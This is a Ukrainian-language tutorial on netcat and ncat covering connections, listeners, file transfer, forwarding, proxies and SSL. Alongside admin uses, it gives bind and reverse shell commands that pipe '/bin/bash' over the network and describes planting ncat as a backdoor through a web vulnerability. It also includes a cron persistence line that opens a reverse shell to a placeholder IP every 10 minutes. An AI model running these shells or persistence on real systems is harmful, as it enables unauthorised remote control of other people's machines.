Що таке netcat (nc), ncat і як ним користуватися?

16 січня 2024 6 хвилин Автор: Cyber Witcher

Мистецтво кібербезпеки: Розкриваємо потенціал Netcat

Програма Netcat – це універсальний мережевий інструмент, який використовується для аналізу та моделювання роботи мережевих протоколів, виконання команд на віддаленій машині, а також для завантаження та вивантаження файлів. Вона має два основні режими: режим прослуховування та режим підключення. Netcat широко використовується не тільки в адмініструванні мереж, але й у пентестингу, де вона може функціонувати як потужний бекдор. Це робить її незамінним інструментом як для мережевих професіоналів, так і для фахівців з кібербезпеки. Netcat, відомий своєю гнучкістю та потужністю, є ідеальним інструментом для різних мережевих завдань.

У статті від ви знайдете докладну інформацію про використання Netcat, універсальної мережевої утиліти. Він охоплює його застосування для аналізу та моделювання різних мережевих протоколів, віддаленого виконання команд, передачі файлів і перенаправлення портів. У статті підкреслюється цінність Netcat для аудиторів мережевої безпеки та пентестерів, зокрема його функціональність як інструменту бекдору. У ньому також обговорюється використання вразливостей у веб-додатках за допомогою Netcat і його двох режимів: прослуховування та підключення. До речі, Netcat настільки популярна, що за замовчуванням присутня навіть у деяких просунутих роутерах – у тому моєму роутері Netcat встановлена. Звісно ж, використовувати Netcat можна у деструктивних цілях. Ця програма за своїм прямим призначенням буде дуже корисна для мережевих адміністраторів та веб-майстрів.

Версії Netcat

Так вийшло, що Netcat має багато варіантів написаних різними авторами. Оригінальна версія називалася netcat ( nc ). Вона швидко здобула визнання, але в якийсь момент автор перестав її розробляти і, незважаючи на її популярність, також ніхто інший не став підтримувати. Тому програму кілька разів переписували різні автори, причому іноді повністю з нуля.

netcat (nc)

Це оригінальна програма, останній випуск якої відбувся у січні 2007 року. Її версія 1.10. У деяких системах, наприклад, у Kali Linux, ця версія називається nc.traditional:

nc.traditional -h

Виведе довідку за цією програмою та покаже версію [v1.10-41.1]

ncat

Це сучасний варіант netcat, написаний з нуля, без використання коду оригінальної netcat. Авторами ncat є автори знаменитої програми Nmap .

Ncat повторює практично всю функціональність оригінальної програми та містить додаткові функції.

Ncat стала офіційною заміною для оригінальної netcat у деяких дистрибутивах Linux, наприклад, у Red Hat Enterprise Linux, CentOS, які часто використовуються як веб-сервери. Тому на багатьох комп’ютерах у мережі ви знайдете саме Ncat — наприклад, на моєму віртуальному хостингу як Netcat встановлено Ncat.

Ncat поставляється в пакеті Nmap і, отже, доступна для різних платформ, зокрема Windows. Тобто для встановлення Ncat на Windows достатньо встановити NMap.

У Kali Linux Ncat чомусь міститься в пакетах для архітектури i386 і не міститься в пакеті NMap, тому установка виконується так:

sudo dpkg --add-architecture i386 && sudo apt update
sudo apt install ncat

В Arch Linux, BlackArch та їх похідні для встановлення Ncat достатньо встановити NMap:

sudo pacman -S nmap
  • gnu-netcat GNU версія netcat, як сказано в описі “network piping application”.

  • openbsd-netcat або netcat-openbsd Варіант від OpenBSD. Як сказано в описі, армійський ніж для роботи з TCP/IP.

  • dbd Ще один клон Netcat створений бути портативним і пропонує надійне шифрування. Він працює на Unix подібних операційних системах та на Microsoft Win32.

  • sbd І ще один клон Netcat, портативний, пропонує надійне шифрування серед функцій: шифрування AES-128-CBC + HMAC-SHA1, виконання програм ( -e ), вибір порту джерела, безперервне перепідключення із затримкою та інші можливості. Або як сказано в іншому описі: безпечний бекдор для Linux та Windows.

  • cryptcat Легка версія netcat, з доданим шифруванням twofish.

  • netrw Схожий на netcat інструмент із зручними функціями передачі файлів через мережу.

  • webhandler Обробник системних функцій PHP, а також альтернативний обробник netcat.

Інші варіанти цього класичного інструменту включають дивовижно універсальний Socat , OpenBSD nc , Cryptcat , Netcat6 , pnetcat , SBD і так званий GNU Netcat .

У деяких системах модифіковані версії або аналогічні утиліти netcat використовують імена команд: nc , ncat , pnetcat , socat , sock , socket , sbd .

Отже, для своєї роботи ви можете вибрати одну з цих версій, яка вам найбільше подобається. При пошуку цікавих програм на чужих машинах, не потрібно забувати про альтернативні варіанти, якщо сама netcat там відсутня.

Ncat: ваш універсальний мережевий конектор

Почнемо з опису Ncat взятого з офіційного сайту, щоб якнайповніше охопити список можливостей цієї програми. А потім ми перейдемо до конкретних практичних прикладів, виходячи з різних сценаріїв використання.

Ncat – це інструмент командного рядка загального призначення для читання, запису, перенаправлення та шифрування даних у мережі. Він покликаний стати вашим армійським швейцарським ножем під час роботи в мережі, що вирішує широкий спектр завдань із тестування безпеки та адміністрування. Ncat підходить для інтерактивного використання або як підключений до мережі бекенд для інших інструментів. Ncat може:

  • Виступати як простий клієнт TCP/UDP/SCTP/SSL для взаємодії з веб-серверами, серверами Telnet, поштовими серверами та іншими мережевими службами TCP/IP. Найчастіше найкращий спосіб зрозуміти службу (для усунення проблем, пошуку вразливостей у безпеці або тестування команд користувача) — це взаємодіяти з нею за допомогою Ncat. Це дозволяє контролювати кожен відправлений символ і переглядати необроблені, нефільтровані відповіді.

  • Виступати як простий сервер TCP/UDP/SCTP/SSL для надання послуг клієнтам або просто для розуміння того, що роблять існуючі клієнти, захоплюючи кожен байт, який вони відправляють.

  • Перенаправити або проксіювати TCP/UDP/SCTP трафік на інші порти або хости. Це можна зробити за допомогою простого перенаправлення (все, що відправлено на порт, автоматично ретранслюється в інше місце, вказане вами заздалегідь) або як проксі-сервер SOCKS або HTTP, щоб клієнти вказували свої власні призначення. У режимі клієнта Ncat може підключатися до адресатів через ланцюжок анонімних або автентифікованих проксі.

  • Працюватиме на всіх основних операційних системах. Є скомпільовані файли для Linux, Windows і Mac OS X, і в цілому Ncat може бути скомпільована на більшості інших систем. Надійний інструмент має бути доступним у будь-який час, незалежно від того, який комп’ютер ви використовуєте.

  • Шифрувати зв’язок за допомогою SSL і передавати його через IPv4 або IPv6.

  • Виступати як мережевий шлюз для виконання системних команд з перенаправленням вводу/виводу в мережу. Програма була розроблена, щоб працювати як Unix утиліта cat , але для мережі.

  • Виступати як посередник з’єднань, дозволяючи двом (або навіть більше) клієнтам підключатися один до одного через третій (посередницький) сервер. Це дозволяє кільком машинам, прихованим за шлюзами NAT, обмінюватися даними один з одним, а також включає режим простого чату Ncat.

Ці можливості стають ще більш потужними та універсальними у поєднанні один з одним.

Ncat – це сучасна реінкарнація поважного інструменту Netcat (nc), випущеного Хобіт (Hobbit) у 1996 році. Хоча Ncat за духом схожий на Netcat, вони мають загального вихідного коду. Натомість Ncat використовує добре оптимізовані та протестовані мережеві бібліотеки Nmap. Підтримується сумісність з вихідним Netcat та деякими добре відомими варіантами, коли він не конфліктує з поліпшеннями Ncat та не викликає проблем із зручністю використання. Ncat додає багато можливостей, яких немає в оригінальному nc Хобіті, включаючи підтримку SSL, проксі-з’єднання, IPv6 та посередницькі (брокерські) з’єднання. Оригінальний nc містив простий сканер портів, але автори Ncat не додавали цю функцію.

Принципи роботи Ncat

Ncat має два основні режими : підключення та прослуховування .

При режимі підключення програма з’єднується з мережевими службами, серед яких може бути як інший екземпляр запущеної Ncat, так і більшість інших сервісів, наприклад, HTTP (веб-сервер), поштовий сервер, FTP сервер, Telnet і так далі. Другий режим роботи Ncat називається прослуховування. У цьому режимі Ncat очікує підключення від іншого хоста.

У цьому режимі опціями можна увімкнути додаткові функції, наприклад, зробити так, щоб Ncat:

  • передавала отримані дані системі як команди для виконання

  • повертала хосту, що підключився, файл (виконувала роль веб-сервера або використовувалася для скачування файлу з віддаленого хоста)

  • перенаправляла запити на інший порт чи адресу

  • працювала як проксі

Причому підключитися до Ncat в режимі прослуховування може як інший екземпляр Ncat (наприклад, для передачі команд), так і інша програма, наприклад, веб-браузер для перегляду або завантаження файлу, або інша програма, що підтримує роботу через проксі.

Підключення до HTTP у Ncat

При підключенні до віддаленої служби ви вводите у вигляді простого тексту команди (заголовки) цього протоколу. Розглянемо з прикладу протоколу HTTP.

Підключимося до хосту hackware.ru на порту 80 (це служба HTTP сервера):

ncat -C hackware.ru 80

Здається, що нічого не сталося:

Але насправді маємо запрошення для введення даних. Ми будемо вводити заголовки протоколу HTTP (це як команди, директиви – цими заголовками ми говоримо веб-серверу, чого ми від нього хочемо; також заголовки використовуються як передавач метаінформації):

GET / HTTP/1.0
Host: hackware.ru

Зверніть увагу, що після останньої директиви ( Host: hackware.ru ) кнопка ENTER натиснута двічі. Сервер надіслав нам відповідь – HTML код.

Ми надіслали правильні з погляду протоколу HTTP заголовки (запити). У першому ми вказали використовувати метод GET , показати головну сторінку ( / означає запит до кореневої папки, а можна було б вказати конкретний шлях, наприклад /index.php), і версію протоколу HTTP/1.0 .

Потім ми використовували директиву Host і разом з нею вказали хост, що нас цікавить (оскільки запит робиться до віддаленого сервера по IP, а на цьому IP безліч віртуальних хостів). До речі, можете спробувати зробити цей запит без вказівки хоста або із зазначенням іншого хоста — отримані дані будуть іншими.

Замість методу GET можна використовувати метод HEAD і, наприклад, зробимо запит до будь-якої сторінки:

ncat -C hackware.ru 80

Потім:

HEAD /any_page.php HTTP/1.0
Host: hackware.ru

Як можна побачити, використання методу HEAD призводить до показу лише заголовків відповіді.

Тобто з веб-сервером можна спілкуватися, редагуючи HTTP директиви посимвольно, відправляючи буквально що завгодно. Якщо «на тій стороні» роль веб-сервера виконує якесь нестандартне рішення, то описаним способом можна провести тестування того, що підтримує віддалена служба і як реагує на незвичайні заголовки та команди протоколу.

Також у такий спосіб можна тестувати методи обходу блокувань шляхом модифікації запитів у рамках допустимого протоколом, завдяки чому можна домогтися того, що базовані на патернах системи DPI пропускатимуть цей трафік до заблокованих ресурсів. Деякі такі способи описані в GoodbyeDPI : заміна слова Host в заголовку на hoSt , видалення пробілом між ім’ям заголовка і значенням в заголовку Host , додавання зайвих прогалин між HTTP методом ( GET , POST і т.д.) і URI, змішування регістрів значення заголовка Host і т.д. Тобто, за допомогою ncat можна робити низькорівневі перевірки, налагодження фільтрів мережі та роботи віддалених служб. Це як Асемблер , але тільки для мережі.

Причому HTTP наведена просто як приклад — можна працювати з різними службами, у яких заголовки або команди є простим текстом.

Повернемося до нашої першої команди

ncat -C hackware.ru 80

У найпростішому вигляді команда підключення має вигляд:

ncat ХОСТ_ДЛЯ_ПОДКЛЮЧЕНИЯ ПОРТ

Ще ми використовували опцію -C , вона включає заміну CRLF. Тобто, будь-які символи кінця рядка, які ми вводимо, будуть замінені на CRLF. В якості кінця рядка потрібно CRLF у багатьох протоколах, у тому числі в HTTP, хоча багато серверів все одно нормально приймають і звичайний символ newline (LF). Тобто насправді в даному випадку можна було б обійтися без -C .

Підключення через SSL (HTTPS) до Ncat

Як ми можемо побачити, що в першому, що в другому випадку нам повертається код відповіді 302 Moved Temporarily — тобто робиться редирект на іншу сторінку:

HTTP/1.1 302 Moved Temporarily
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Connection: close
Location: https://hackware.ru/any_page.php
Date: Tue, 07 May 2019 02:56:40 GMT
X-Page-Speed: 1.13.35.2-0
Cache-Control: max-age=0, no-cache

Як можна зрозуміти з директиви Location , нас перенаправляють на HTTPS протокол.

Щоб Ncat підключитися по SSL потрібно:

  • вказати опцію –ssl

  • вказати відповідний номер порту

Для протоколу HTTPS стандартним портом є 443, тому підключаємося таким чином:

ncat -C --ssl hackware.ru 443

Потім:

GET / HTTP/1.0
Host: hackware.ru

У результаті нам показаний HTML код запитуваної сторінки:

Режим прослуховування Ncat

У цьому режимі програма починає прослуховувати вказаний порт в очікуванні підключень. Для ввімкнення цього режиму достатньо вказати опцію -l . Опціонально можна вказати IP-адресу інтерфейсу, на якому виконувати прослуховування (якщо не вказати, то буде зроблено прив’язка до всіх інтерфейсів) і порт для прослуховування (якщо не вказати, то за замовчуванням використовується порт 31337 ).

Для підключення до сервера, мені потрібно буде знати IP-адресу віддаленого хоста, тому починаю з команди, щоб дізнатися його:

curl suip.biz/ip/
185.26.122.50

Запускаємо програму на віддаленому хості в режимі прослуховування з прив’язкою до порту 43210

ncat -l 43210

До речі, робимо це в SSH панелі з веб-доступом свого хостингу – приголомшлива штука – працює прямо з особистого кабінету:

Тепер з локального комп’ютера виконую підключення:

ncat 185.26.122.50 43210

У цьому прикладі і далі  використовувуемо IP адресу 185.26.122.50 – очевидно, що у своїй роботі вам потрібно поміняти його на IP адресу (або ім’я хоста) машини, до якої ви виконуєте підключення. Ще я використовую порт 43210 – ви можете вибрати будь-який інший порт, що не зайнятий на віддаленій машині.

У будь-якому з вікон ncat (сервер чи клієнт) можна вводити текст і він буде відображено в іншому вікні з підключеним екземпляром ncat.

Суть роботи дуже проста – з одного вікна в інше передається введений текст і виводитись у стандартний висновок – це поведінка програми за умовчанням. За допомогою інших опцій можна налаштувати цікавіші варіанти діяльності – наприклад, передавати надісланий текст в операційну систему для виконання команд.

Запуск команд через ncat

За допомогою опції -e Ncat, що прослуховує, можна підключити до програми, якою вона буде передавати команди для виконання. Як окремий випадок в якості такої команди можна вказати ” /bin/bash “, тобто всі передані рядки будуть відправлятися в оболонку Bash.

На віддаленому сервері запускаємо Ncat наступним чином:

ncat -l -e "/bin/bash" 43210

І підключаємося з локального комп’ютера:

ncat 185.26.122.50 43210

У локальній ncat виконуемо:

cd hackware.ru/logs
ls -l

І отримав перелік файлів на віддаленому комп’ютері. Тобто команди виконуються за аналогією до SSH.

Для обслуговування веб-сайтів можна прямо в локальній консолі вводити різні команди, наприклад робити резервні копії, завантажувати інсталяційні файли з офіційних сайтів прямо на сервер, а не через свій комп’ютер.

Ну і функції бекдора теж укладені в цій же команді — якщо на сайті є вразливість, що дозволяє виконувати команди рівня системи, то формується відповідний запит до сторінки, щоб в результаті була запущена ncat з передачею команд в ОС. Потім атакуючий підключається вже до сервера (до ncat) безпосередньо, минаючи вразливий сайт, щоб надсилати йому команди. Якщо команди потрібно виконувати в системі Windows, то потрібно вказати наступну опцію: -e cmd.exe

Підключення до Ncat якщо віддалена машина знаходиться за NAT

Якщо дистанційна машина знаходиться за NAT, то підключитися до неї неможливо (пояснення цьому тут ). Але за допомогою Ncat можна налаштувати з’єднання між машинами, одна з яких за NAT. Тобто кінцевий результат буде такий, ніби підключився до комп’ютера за NAT. У цьому випадку опції вказуємо трохи інакше.

На своєму локальному комп’ютері запускаємо

ncat -l 43210

Зверніть увагу, що ми включили прослуховування, але не включили передачу команд в оболонку, тому що на локальному комп’ютері не потрібно виконувати жодні команди!

А на віддаленому комп’ютері ми запускаємо програму так:

ncat -e "/bin/bash" ХОСТ 43210

У ній замість ХОСТ має бути IP-адреса або ім’я хоста локального комп’ютера, на якому ncat запущена в режимі прослуховування. Також на віддаленому комп’ютері вказано опцію -e “/bin/bash” , яка дозволить виконувати надіслані команди. Цим ми досягнемо підключення з комп’ютером за NAT та можливості виконувати на ньому команди.

Як зробити так, щоб при закритті клієнта Ncat не відключався сервер Ncat

Якщо у консолі клієнта натиснути CTRL+c чи CTRL+d , то закриється як Ncat на локальному комп’ютері, а й Ncat до якої здійснювалося підключення. Якщо ви хочете, щоб Ncat на сервері не закривалася, використовуйте опцію –keep-open :

ncat -l -e "/bin/bash" --keep-open 43210

Тепер якщо підключитися до віддаленого комп’ютера:

ncat 185.26.122.50 43210

А потім закрити підключення до Ncat в режимі прослуховування, то екземпляр Ncat у віддаленій системі продовжить свою роботу і можна знову підключитися до Ncat, що виступає в ролі сервера.

Як передати файли на віддалений комп’ютер

За допомогою Ncat можна вивантажити файли на віддалений сервер. Наприклад, мені потрібно надіслати файл some_stuff.txt . Тоді на сервері (куди буде завантажено файл), запускаю:

ncat -l 43210 > some_stuff.txt

А на локальному комп’ютері (з якого буде вивантажено файл) запускаю:

ncat 185.26.122.50 43210 < some_stuff.txt

Коли закінчиться передача, обидві сесії ncat завершуються.

Як завантажити файл з віддаленого комп’ютера

Припустимо, мені потрібно завантажити файл файлу some_stuff.txt з віддаленого комп’ютера . Тоді на сервері запускаемо:

ncat -l 43210 < some_stuff.txt

А на локальному комп’ютері, куди буде завантажено файл, запускаю Ncat так:

ncat 185.26.122.50 43210 > some_stuff.txt

Зверніть увагу, що не буде нічого показано і після завантаження файлу обидва екземпляри Ncat продовжать роботу.

Як зробити веб-сервер з Ncat

Насправді, це буде веб-сервер одного файлу, але все ж таки це цікава можливість. Отже, створимо файл hello.http і додамо до нього такий вміст:

HTTP/1.0 200 OK


<html>
  <body>
    <h1>Hello, world!</h1>
  </body>
</html>

Запустимо на сервері Ncat:

ncat -l 43210 < hello.http

У веб-браузері відкриємо адресу віддаленого хоста із зазначенням порту: http://185.26.122.50:43210

До речі, ncat на сервері покаже які саме заголовки надіслав веб-браузер:

Ще один приклад з офіційного мануалу з ncat:

nc -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html"

Або, якщо ви користувач Windows:

ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"

Ці команди запустять HTTP сервер, що робить доступним файл index.html із поточної робочої директорії. Щоб відкрити цей файл, потрібно у браузері відвідати сторінку http://localhost:8080/ . Якщо замість -p 8080 вказати -p 80 , з URL можна видалити :8080 . Зверніть увагу, що цей файл буде надісланий незалежно від запитаної URL-адреси — щоб змінити файл, який надсилається, потрібно змінити команду Ncat або використовувати скрипт httpd.lua.

Як за допомогою Ncat отримати доступ до служб, доступних тільки в локальній мережі

За допомогою вже розглянутої опції –sh-exec можна будь-яку програму, яка не є мережною, зробити доступною по мережі. Щоправда, через особливості введення-виведення (буферизація і таке інше) в інтерактивному режимі не всі програми працюватимуть добре.

Розглянемо ще один варіант: спочатку мережна програма налаштована на прослуховування лише локальної адреси (localhost) і підключитися до неї з поза (з віддаленого комп’ютера) неможливо. Найпоширенішим прикладом є СУБД MySQL. Ця служба є мережевим та інші програми (наприклад, обробник PHP скриптів) зв’язується з нею по мережі. Але багато системних адміністраторів налаштовують MySQL так, щоб з локального комп’ютера до неї можна було звернутися, а з віддаленого – ні. В результаті досягається наступне: веб-сайти, у тому числі використовують бази даних MySQL, працюють нормально, без змін, оскільки підключення до MySQL виконується у будь-якому випадку локально; але атакуючий не може підключитися до MySQL (наприклад, для підбору пароля). Правда, при цьому стає недоступною можливість віддаленого обслуговування MySQL і легітимним системним адміністратором або веб-майстром.

За допомогою Ncat можна вирішити цю проблему – знову на деякий час зробити MySQL доступною для віддаленого підключення. Це досягається вмінням Ncat перенаправляти трафік.

Почнемо з того, що за допомогою Whatportis пригадаємо, який порт використовує MySQL:

whatportis mysql
+-------+------+----------+-------------+
| Name  | Port | Protocol | Description |
+-------+------+----------+-------------+
| mysql | 3306 |   tcp    | MySQL       |
| mysql | 3306 |   udp    | MySQL       |
+-------+------+----------+-------------+

Тепер на сервері, де працює доступна лише локально служба, запускаємо команду виду:

ncat --sh-exec "ncat КОНЕЧНЫЙ_IP КОНЕЧНЫЙ_ПОРТ" -l ПРОСЛУШИВАЕМЫЙ_ПОРТ --keep-open

Тут:

  • КІНЦЕВИЙ_IP — та адреса, куди буде зроблено перенаправлення

  • КІНЦЕВИЙ_ПОРТ – той порт, на який буде зроблено перенапрямок

  • ПОЛУЧЕНИЙ_ПОРТ — порт на сервері, до якого ми будемо підключатися з нашого локального комп’ютера

Причому як КІНЦЕВИЙ IP може виступати локальна адреса, в даному випадку  використовуемо 127.0.0.1. Отже команда, яку я запускаемо на сервері:

ncat --sh-exec "ncat 127.0.0.1 3306" -l 43210 --keep-open

На локальному комп’ютері  запускаемо:

mysql -h IP -u ПОЛЬЗОВАТЕЛЬ -p -P ПОРТ --protocol=tcp

Тут:

  • IP — адреса сервера, де мережна служба доступна лише локально

  • КОРИСТУВАЧ — ім’я користувача MySQL

  • ПОРТ – номер порту, який прослуховує ncat

  • Опція -p – означає запросити пароль користувача

  • –protocol=tcp – означає, що буде використовуватися протокол TCP (це не принципово, можна використовувати і UDP – головне, вказати відповідну опцію в ncat, яка вміє працювати і з UDP, але за умовчанням використовує TCP)

Як бачимо, все працює:

Використання SSH через тунель Ncat

З Ncat та OpenSSH ви можете робити SSH підключення до хосту за NAT роутером без необхідності робити форвардинг (прокидання) портів на роутері. Роутер повинен мати встановлену Ncat. У цій команді показано, як підключитися SSH до <хосту> через <роутер>:

ssh -o ProxyCommand="ssh -q <роутер> ncat %h %p" <хост>

Опція ProxyCommand у ssh говорить як відкрити SSH з’єднання до <хосту>. Вона робить це відкриваючи іншу SSH сесію до <роутера> та підключаючи його до <хосту> з Ncat.

Якщо адміністратор вашого SSH сервера не відключив тунелювання (яке в більшості конфігурацій увімкнено), ви можете використовувати вбудований в SSH проксі сервер. Використовуйте наступну команду для відкриття проксі-сервера на TCP порту 8080 вашої локальної машини, який тунелює трафік через SSH з’єднання:

ssh router -D 8080

Тепер ви можете робити підключення всередині мережі, використовуючи можливості проксі клієнта Ncat. Наприклад, для підключення до хоста з IP адресою 192.168.1.123, тобто за вашим роутером, ви можете використовувати наступну команду, якщо ви відкрили тунель:

ncat --proxy localhost:8080 --proxy-type socks4 192.168.1.123

Як Ncat перетворити на проксі

Свої підключення Ncat може виконувати через проксі, підтримуються такі типи: SOCKS 4, SOCKS 5 та HTTP. Докладніше про опції підключення з проксі можна знайти на довідковій сторінці Ncat: https://kali.tools/?p=4578

Розглянемо цікавіший варіант — перетворення самої Ncat на проксі. Як проксі сервер Ncat підтримує тільки тип HTTP .

Підтримується створення HTTP проксі як до автентифікації, так і без:

ncat -l 3128 --proxy-type http
ncat -l 3128 --proxy-type http --proxy-auth <пользователь>:<пароль>

Тут:

  • -l – включає режим прослуховування

  • 3128 – означає прослуховувати вказаний номер порту

  • –proxy-type http — означає вибір типу проксі

  • –proxy-auth <користувач>:<пароль> — встановлює облікові дані для авторизації на сервері проксі

Наприклад, на своєму хостингу запускаемо проксі-сервер:

ncat -l 43210 --proxy-type http --proxy-auth user:pass

Тепер у налаштуваннях веб-браузера  вказуемо відповідний IP і порт, які прослуховує ncat, також ставлю галочку, щоб використовувати цей проксі для всіх з’єднань:

Відкриваемо сайт, де можна перевірити свій IP:  https://suip.biz/ru/?act=myip  Відразу запитуються облікові дані для авторизації на проксі:

І замість реального IP тепер показується адреса  хостингу, який ми за допомогою Ncat використовуемо як проксі:

У режимі прослуховування, якщо не встановлено порт, то, як і раніше, використовуватиметься 31337, а не інші популярні для проксі порти. Проксі підтримує в веб-серфінгу методи GET, HEAD і POST, а також метод CONNECT, який дозволяє тунелювати довільні TCP з’єднання (коли Ncat підключається як клієнт, вона використовує CONNECT).

Для HTTP підтримується Basic і Digest схеми аутентифікації, причому як клієнтської, і серверній стороні. Digest безпечніша, тому якщо вона доступна, то Ncat буде віддавати перевагу більш ніж Basic . Сервер пропонує клієнтам обидві схеми. Basic відправляє облікові дані у відкритому вигляді, а Digest – ні. Реалізація Digest Ncat дозволяє атаки повторного відтворення (replay attacks) протягом до 10 секунд (з Basic завжди можлива атака повторного відтворення та інші атаки).

Попередження від авторів Ncat: HTTP proxy піднятий на Ncat розроблений таким чином, щоб не заважати вам та допомагати вам створювати тимчасові мережеві підключення. Його не слід використовувати як повсякденний проксі, відкритий для Інтернету. Ви можете обмежити, хто може підключатися, використовуючи опції –allow , –deny та –proxy-auth , але це не сильна форма автентифікації. Проксі без аутентифікації небезпечний, оскільки він може бути використаний іншими у виконанні атак та допомогти їм уникнути виявлення. Можливість CONNECT є особливо небезпечною, оскільки вона включає трафік будь-якого роду, а не тільки HTTP.

Як дозволити підключення до Ncat з певних IP

Ncat має механізм контролю доступу, який дозволяє налаштувати Ncat, що знаходиться в режимі прослуховування, таким чином, що тільки певні IP зможуть до неї підключатися або певні IP будуть заблоковані для підключення. Це досягається використанням опцій:

  • –allow

  • –allowfile

  • –deny

  • –denyfile

Подробиці про них дивіться у довідці .

Відправка пошти

Це ще один приклад, де демонструється, як може використовуватися Ncat для роботи з протоколами рівня додатків.

Дуже цікаво взаємодіяти з текстовими мережевими протоколами, використовуючи лише Ncat та клавіатуру. Ось короткий приклад, що показує, як надсилати електронну пошту, спілкуючись із SMTP-сервером. SMTP описано в RFC 5321, але вам не потрібно багато знати про протокол, щоб відправити просте повідомлення. Номер порту, призначений для сервісу, дорівнює 25, і ми використовуємо -C, тому що він вимагає закінчення рядка CRLF. Приклад містить стенограму сеансу.

приклад. Ncat як поштовий клієнт:

ncat -C mail.example.com 25
220 mail.example.com ESMTP
HELO client.example.com
250 mail.example.com Hello client.example.com
MAIL FROM:[email protected]
250 OK
RCPT TO:[email protected]
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
From: [email protected]
To: [email protected]
Subject: Greetings from Ncat


Hello. This short message is being sent by Ncat.
.
250 OK
QUIT
221 mail.example.com closing connection

Щоб цей приклад працював для вас, змініть mail.example.com на ваш SMTP-сервер та client.example.com на ваше доменне ім’я. Звичайно, ви захочете змінити адреси електронної пошти та повідомлення теж. Ймовірно, він буде працювати лише при використанні звичайного поштового сервера з вашою реальною адресою електронної пошти або при використанні поштового сервера одержувача (знайдіть запис MX для доменного імені на його адресу електронної пошти).

Очевидно, що ця техніка може бути використана не тільки для надсилання пошти. Ncat — чудовий інтерактивний інструмент налагодження для будь-якого текстового протоколу. Таке налагодження іноді виконується за допомогою команди telnet, тому що вона надає щось подібне до необробленого текстового потоку. Тим не менш, Ncat пропонує кілька переваг у порівнянні з Telnet. Ncat не друкує нічого, крім того, що відправлено віддаленим хостом. Telnet не підходить для довільних двійкових даних, тому що він резервує деякі байти як керуючі символи. Команда telnet завершується, коли закінчується введення, тому ви можете не побачити, що відправлено з іншого кінця. І, нарешті, Telnet не може використовувати UDP.

Створення ланцюгів послідовної передачі трафіку між кількома Ncat

Ncat створена працювати в потоці введення та виведення інших утиліт (pipeline), тому природно, що виведення від одного екземпляра Ncat можна згодувати на введення іншого. Далі приклад одного із способів відправлення файлу лога з host1 на host3 через host2:

На хості host3:

ncat -l > log.txt

На хості host2:

ncat -l | ncat host3

На хості host1:

ncat --send-only host2 < log.txt

Можлива проблема з цим методом полягає в тому, що він односторонній: хост1 може відправляти на хост3, але хост3 не може відправити щось назад на хост1. У цьому випадку це не має значення, але за бажання можна налаштувати двосторонній зв’язок, наприклад:

На хості host3:

ncat -l > log.txt

На хості host2:

ncat -l --sh-exec "ncat host3"

На хості host1:

ncat --send-only host2 < log.txt

Ncat, що прослуховує хост2, після отримання з’єднання створює новий Ncat для зв’язку з хостом 3 і з’єднує входи та виходи програм, що працюють на хості 1 і хості 3, разом. Той самий трюк можна використовувати і на локальному хості. У цьому прикладі локальний порт 8080 перенаправляється на веб-сервер на example.org:

ncat -l localhost 8080 --sh-exec "ncat example.org 80"

Очищення від SSL

Припустимо, потрібно підключитися до сервера IMAP, який вимагає SSL, але ваш поштовий рідер не підтримує SSL. Ncat може виступати як зашифрований мост для з’єднання клієнта і сервера. Ви підключите поштового клієнта до локального порту, і Ncat перенаправить зашифрований трафік на сервер. Ось як підключити IMAP (порт 143) на локальному хості до IMAP через SSL (порт 993) на imap.example.com.

ncat -l localhost 143 --sh-exec "ncat --ssl imap.example.com 993"

Як тільки це станеться, дайте вказівку поштовому клієнту підключитися до сервера IMAP на локальному хості.

Цей прийом працює для протоколів, які передають трафік між двома хостами. Він не працює добре для HTTP, тому що HTTP зазвичай знає імена хостів і часто включає кілька хостів.

Ncat як SSL сервер

Вище вже розглянуто опцію використання Ncat у режимі підключення до HTTPS та SSL.

У режимі сервера Ncat також можна використовувати SSL. Режим сервера надає сертифікат, який клієнт може перевірити.

Якщо запустити SSL сервер без опцій –ssl-cert –ssl-key, то Ncat автоматично згенерує сертифікат та 1,024-бітний ключ RSA. Звичайно, такому сертифікату не довірятиме жодна програма, яка виконує верифікацію сертифікатів. У вербальному режимі буде надруковано відбиток ключа, тому за бажання ви можете виконати ручну перевірку.

Приклад автоматичної генерації сертифікату:

ncat -v --listen --ssl


Ncat ( https://nmap.org/ncat )
Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
SHA-1 fingerprint: F0:13:BF:FB:2D:AA:76:88:22:60:3E:17:93:29:3E:0E:6B:92:C0:2F

По можливості рекомендується використовувати існуючий сертифікат та ключ, оскільки він забезпечує надійну автентифікацію сервера. Використовуйте параметри –ssl-cert та –ssl-key для вказівки файлів у кодуванні PEM. З метою тестування ви можете створити самозавірений сертифікат і приватний ключ. Якщо у вас встановлено OpenSSL, використовуйте цю команду:

openssl req -new -x509 -keyout test-key.pem -out test-cert.pem

Для цілей перевірки сертифіката, commonName у сертифікаті повинен відповідати повному домену імені (fully qualified domain name) хоста, у якому працює сервер. Після створення цих файлів, запустіть сервер:

ncat --listen --ssl --ssl-cert test-cert.pem --ssl-key test-key.pem

Щоб встановити перевірене клієнтське з’єднання, скопіюйте файл test-cert.pem кудись, де клієнт зможе отримати доступ до нього, потім запустіть:

ncat --ssl-verify --ssl-trustfile test-cert.pem

Докладніші відомості про використання SSL див. у довідці .

Сканування портів

Ncat не підтримує цю функцію, але оригінальна nc вміє сканувати порти.

Для запуску сканера TCP портів в діапазоні [ПочатковийПорт] до [КінцевийПорт]:

nc -v -n -z -w1 [Целевой_IP] [начальныйПорт]-[конечныйПорт]

Закріплення на віддаленій машині

На дистанційній машині встановлення запуску ncat за допомогою Cron кожні 10 хвилин:

crontab -e
*/10 * * * * ncat IP 43210 -e /bin/bash

Емуляція діагностичних служб

Оскільки Ncat може виступати в ролі сервера, який приймає будь-що і виводить це на екран (або зберігає у файл), то можна запустити Ncat в режимі прослуховування, а в програмі, чия мережева активність нас цікавить, ми можемо вказати адресу Ncat. В результаті програма звернутися до Ncat, а у свою чергу Ncat покаже нам все, що їй надіслала програма.

Припустимо, мені цікаво, який запит надсилає команда dig — ця команда використовується для перетворення імен хостів на адресу IP і назад. Я знаю, що за умовчанням вона використовує протокол UDP на 53 порту. Тому у себе на комп’ютері  запускаемо ncat з опцією -l (включає прослуховування), з опцією -u (означає використовувати порт UDP) та із зазначенням порту 53:

sudo ncat -l -u 53

